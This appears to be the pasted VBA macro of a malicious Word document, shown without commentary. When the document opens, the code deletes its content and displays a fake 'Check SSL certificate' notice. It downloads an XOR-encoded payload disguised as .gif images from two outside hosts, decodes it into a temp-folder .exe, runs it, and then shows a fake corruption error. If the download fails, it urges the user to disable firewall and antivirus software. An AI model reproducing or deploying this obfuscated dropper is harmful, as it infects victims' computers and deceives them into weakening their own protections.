Pasted

Rem Attribute VBA_ModuleType=VBADocumentModule
Option VBASupport 1
#If VBA7 And Win64 Then
Private Declare PtrSafe Function wefjwekgn Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As LongLong
Private Declare PtrSafe Function uwhdhjwgf Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare PtrSafe Function qhduhfe Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
Private Declare PtrSafe Function jiwoiefjweg Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#Else
Private Declare Function wefjwekgn Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As Long
Private Declare Function uwhdhjwgf Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function qhduhfe Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
Private Declare Function jiwoiefjweg Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#End If
   Sub Document_Open()
 Dim ujfiejgirg As String
Dim wefnwiouirh As Long
Dim mewiheij As Long
Dim wkjiegjbnffd As Integer
Dim pfkjwigjkd() As Byte
 #If Win64 Then
Dim wjiejeiogif As LongLong
#Else
Dim wjiejeiogif As Long
#End If
 ActiveDocument.Content.Delete
ActiveDocument.PageSetup.LeftMargin = 240
ActiveDocument.PageSetup.TopMargin = 100
 Set myRange = ActiveDocument.Content
 With myRange.Font
 .Name = "Verdana"
 .Size = 14
End With
 ActiveDocument.Range.Text = "Check SSL certificate." & vbLf & "     Please wait..."
 DoEvents
DoEvents
DoEvents
DoEvents
 ujfiejgirg = iwjhufuebnubg
wefnwiouirh = jiwoiefjweg(0, "http://galaxytown.net/store/read.gif", ujfiejgirg, 0, 0)
mewiheij = FileLen(ujfiejgirg)
 If wefnwiouirh <> 0 And mewiheij < 472819 Then
wefnwiouirh = jiwoiefjweg(0, "http://www.effeelle.eu/img/logo.gif", ujfiejgirg, 0, 0)
mewiheij = FileLen(ujfiejgirg)
End If
  If mewiheij < 423621 Then
ActiveDocument.Content.Delete
MsgBox "No internet access. Turn off any firewall or anti-virus software and try again.", vbCritical, "Error"
Exit Sub
End If
 wkjiegjbnffd = FreeFile
Open ujfiejgirg For Binary As #wkjiegjbnffd
ReDim pfkjwigjkd(0 To LOF(wkjiegjbnffd) - 1)
Get #wkjiegjbnffd, , pfkjwigjkd()
Close #wkjiegjbnffd
 Call wjhhuuuufdp(pfkjwigjkd())
 ujfiejgirg = Left(ujfiejgirg, Len(ujfiejgirg) - 3)
ujfiejgirg = ujfiejgirg & "exe"
 wkjiegjbnffd = FreeFile
Open ujfiejgirg For Binary As #wkjiegjbnffd
Put #wkjiegjbnffd, , pfkjwigjkd()
Close #wkjiegjbnffd
  wjiejeiogif = wefjwekgn(0, "Open", "explorer.exe", ujfiejgirg)
 ActiveDocument.Content.Delete
MsgBox "The file is corrupted and cannot be opened", vbCritical, "Error"
 End Sub
  Public Function iwjhufuebnubg() As String
  Dim djfie As String * 512
  Dim pwifu As String * 576
  Dim dwuf As Long
  Dim wefkg As String
  dwuf = uwhdhjwgf(512, djfie)
  If (dwuf > 0 And dwuf < 512) Then
    dwuf = qhduhfe(djfie, 0, 0, pwifu)
    If dwuf <> 0 Then
        wefkg = Left$(pwifu, InStr(pwifu, vbNullChar) - 1)
    End If
    iwjhufuebnubg = wefkg
  End If
End Function
 Public Sub wjhhuuuufdp(pfkjwigjkd() As Byte)
  Dim dfety As Long
  Dim bvjwi As Long
  Dim wbdys As Long
  Dim dvywi(256) As Byte
  Dim wdals As Long
  Dim dwiqh As Long
    bvjwi = UBound(pfkjwigjkd) + 1
   For dfety = 10 To 265
    dvywi(dfety - 10) = pfkjwigjkd(dfety)
  Next
   wdals = UBound(dvywi) + 1
   dwiqh = 0
  For dfety = 266 To (bvjwi - 267)
    pfkjwigjkd(dfety - 266) = pfkjwigjkd(dfety) Xor dvywi(dwiqh)
    dwiqh = dwiqh + 1
     If dwiqh = (wdals - 1) Then
        dwiqh = 0
    End If
  Next
   ReDim Preserve pfkjwigjkd(bvjwi - 267)
 End Sub